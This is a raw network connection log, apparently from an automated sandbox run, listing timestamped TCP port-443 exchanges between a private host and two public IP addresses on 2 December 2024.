Dec 2, 2024 17:56:08.171530008 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:08.171653986 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:08.171669960 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:09.928838015 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:09.929388046 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:09.929416895 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:09.929860115 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:09.929866076 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.010668039 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.011018991 CET	49779	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.011053085 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.011377096 CET	49779	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.011384964 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.053458929 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.053843021 CET	49782	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.053868055 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.054092884 CET	49782	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.054100990 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.054286957 CET	443	49781	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.054521084 CET	49781	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.054534912 CET	443	49781	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.054821968 CET	49781	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.054826975 CET	443	49781	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.097151041 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.097472906 CET	49780	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.097491026 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.097824097 CET	49780	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.097829103 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.365464926 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.365537882 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.365586996 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.365762949 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.365786076 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.365798950 CET	49783	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.365806103 CET	443	49783	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.368185043 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.368228912 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.368311882 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.368442059 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.368462086 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.455945015 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.456001997 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.456226110 CET	49779	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.456850052 CET	49779	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.456850052 CET	49779	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.456877947 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.456891060 CET	443	49779	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.459729910 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.459759951 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.459904909 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.459995985 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.460011005 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.507595062 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.507666111 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.508182049 CET	49782	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.508218050 CET	49782	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.508233070 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.508291960 CET	49782	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.508296967 CET	443	49782	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.508732080 CET	443	49781	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.508800030 CET	443	49781	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.508867979 CET	49781	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.509171963 CET	49781	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.509191036 CET	443	49781	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.512300014 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.512346983 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.512427092 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.512465954 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.512511015 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.512584925 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.512612104 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.512629032 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.513025045 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.513037920 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.565778017 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.565845966 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.566004038 CET	49780	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.566473961 CET	49780	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.566483974 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.566549063 CET	49780	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.566555023 CET	443	49780	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.572427034 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.572457075 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:10.572563887 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.573003054 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:10.573013067 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.162062883 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.162548065 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.162564039 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.163033009 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.163037062 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.307111025 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.307605982 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.307635069 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.308058023 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.308067083 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.313740015 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.313992023 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.314013004 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.314315081 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.314317942 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.323149920 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.323371887 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.323399067 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.323685884 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.323692083 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.357558012 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.357887030 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.357909918 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.358190060 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.358194113 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.608141899 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.608206034 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.608263016 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.608469963 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.608489990 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.608499050 CET	49785	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.608504057 CET	443	49785	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.611278057 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.611316919 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.611397028 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.611552954 CET	49790	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.611563921 CET	443	49790	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.796664000 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.796727896 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.796802044 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.797003031 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.797019005 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.797034979 CET	49788	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.797043085 CET	443	49788	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.799884081 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.799916983 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.800008059 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.800163984 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.800174952 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.804424047 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.804481983 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.804522991 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.804615021 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.804626942 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.804635048 CET	49787	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.804640055 CET	443	49787	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.806642056 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.806667089 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.806744099 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.806870937 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.806884050 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.823496103 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.823554039 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.823600054 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.823692083 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.823699951 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.823709965 CET	49786	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.823714018 CET	443	49786	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.825565100 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.825584888 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.825654984 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.825788975 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.825802088 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.855478048 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.855530977 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.855585098 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.855681896 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.855705023 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.855715036 CET	49789	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.855719090 CET	443	49789	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.857642889 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.857655048 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:12.857733011 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.857861996 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:12.857870102 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:13.521785021 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:13.521833897 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:13.521934032 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:13.522176027 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:13.522188902 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:14.626513004 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.627042055 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.627059937 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.627621889 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.627628088 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.631505966 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.631858110 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.631881952 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.632376909 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.632381916 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.641711950 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.642005920 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.642014980 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.642513037 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.642518997 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.650074959 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.650352955 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.650372028 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:14.650865078 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:14.650870085 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.076875925 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.076945066 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.077096939 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.077203035 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.077224016 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.077234983 CET	49792	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.077244997 CET	443	49792	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.078381062 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.078454971 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.078507900 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.078604937 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.078623056 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.078635931 CET	49793	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.078644037 CET	443	49793	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.080135107 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.080171108 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.080266953 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.080389023 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.080400944 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.080552101 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.080598116 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.080651999 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.080806971 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.080821991 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.096518993 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.096599102 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.096796989 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.096863985 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.096869946 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.096882105 CET	49794	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.096894979 CET	443	49794	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.099328041 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.099340916 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.099401951 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.099514961 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.099525928 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.108895063 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.108944893 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.108992100 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.109186888 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.109186888 CET	49791	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.109205961 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.109215975 CET	443	49791	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.110959053 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.110980034 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.111047983 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.111179113 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:15.111191988 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:15.241286039 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:15.241702080 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:15.241718054 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:15.242075920 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:15.242377043 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:15.242439985 CET	443	49795	142.250.181.100	192.168.2.4
Dec 2, 2024 17:56:15.286324024 CET	49795	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:56:16.875602007 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.876487970 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.876517057 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.876935005 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.876940012 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.879581928 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.880387068 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.880409002 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.881753922 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.881763935 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.901231050 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.901798010 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.902216911 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.902218103 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.902226925 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.902247906 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.902537107 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.902542114 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:16.903640032 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:16.903644085 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.326256990 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.326328993 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.326383114 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.326694965 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.326694965 CET	49796	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.326709986 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.326716900 CET	443	49796	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.329015970 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.329050064 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.329121113 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.329267025 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.329278946 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.330580950 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.330643892 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.330728054 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.330761909 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.330782890 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.330796003 CET	49797	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.330801964 CET	443	49797	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.332906008 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.332937002 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.333022118 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.333185911 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.333195925 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.345550060 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.345607042 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.345653057 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.345805883 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.345805883 CET	49799	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.345813990 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.345820904 CET	443	49799	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.348079920 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.348094940 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.348176956 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.348315954 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.348326921 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.350095034 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.350152969 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.350202084 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.350279093 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.350285053 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.350294113 CET	49798	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.350297928 CET	443	49798	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.352077007 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.352108002 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:17.352170944 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.352305889 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:17.352317095 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.043612003 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.044085979 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.044112921 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.044558048 CET	49800	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.044565916 CET	443	49800	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.051002026 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.051280022 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.051316023 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.051632881 CET	49801	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.051640034 CET	443	49801	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.063616037 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.063973904 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.063988924 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.064564943 CET	49802	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.064570904 CET	443	49802	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.083050013 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.083550930 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.083560944 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.083956957 CET	49803	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:19.083961964 CET	443	49803	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:19.479316950 CET	443	49800	13.107.246.63	192.168.2.4
